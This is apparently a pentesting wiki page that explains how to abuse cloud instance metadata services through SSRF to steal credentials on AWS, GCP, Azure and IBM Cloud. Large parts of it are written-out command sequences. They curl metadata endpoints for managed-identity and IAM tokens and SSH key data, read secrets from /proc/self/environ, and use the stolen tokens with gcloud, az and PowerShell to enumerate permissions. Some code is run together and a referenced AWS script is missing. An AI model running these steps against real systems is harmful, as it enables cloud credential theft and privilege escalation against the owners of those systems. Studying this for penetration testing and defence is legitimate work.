The metadata endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: http://169.254.169.254 (information about the metadata here).
There are 2 versions of the metadata endpoint. The first one allows to access the endpoint via GET requests (so any SSRF can exploit it). For the version 2, IMDSv2, you need to ask for a token sending a PUT request with a HTTP header and then use that token to access the metadata with another HTTP header (so it's more complicated to abuse with a SSRF).
Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.
Moreover, IMDSv2 will also block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.
You can find information about the metadata endpoints in the docs. In the following script some interesting information is obtained from it:
Notice the aws_session_token, this is indispensable for the profile to work.
PACU can be used with the discovered credentials to find out your privileges and try to escalate privileges
SSRF in AWS ECS (Container Service) credentials
ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.
If you access http://169.254.170.2/v2/credentials/<GUID> you will find the credentials of the ECS machine. But first you need to find the <GUID>. To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine.
You could be able to read it exploiting an Path Traversal to file:///proc/self/environ
The mentioned http address should give you the AccessKey, SecretKey and token.
Note that in some cases you will be able to access the EC2 metadata instance from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
SSRF for AWS Lambda
In this case the credentials are stored in env variables. So, to access them you need to access something like file:///proc/self/environ.
The name of the interesting env variables are:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Moreover, in addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface and could contain sensitiveinformation (like inside the stageVariables). Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.
Note that lambda credentials are inside the env variables. So if the stack trace of the lambda code prints env vars, it's possible to exfiltrate them provoking an error in the app.
SSRF URL for AWS Elastic Beanstalk
We retrieve the accountId and region from the API.
In order to use the exfiltrated service account token you can just do:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
An Azure VM can have attached 1 system managed identity and several user managed identities. Which basically means that you can impersonate all the managed identities attached to a VM.
By default, the metadata endpoint will use the system assigned MI (if any).
Unfortunately I couldn't find any metadata endpoint indicating all the MIs a VM has attached.
Therefore, to find all the attached MIs you can do:
Get attached identities with az cli (if you have already compromised a principal in the Azure tenant)
Get attached identities using the default attached MI in the metadata:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Get all the defined managed identities in the tenant and brute force to see if any of them is attached to the VM:
azidentitylist
In the token requests use any of the parameters object_id, client_id or msi_res_id to indicate the managed identity you want to use (docs). If none, the default MI will be used.
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{ Method ='GET' Uri = $URI Headers =@{'Authorization'="Bearer $Token" }}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{ Method ='GET' Uri = $URI Headers =@{'Authorization'="Bearer $Token" }}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{ "expires_in": 3600 }' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
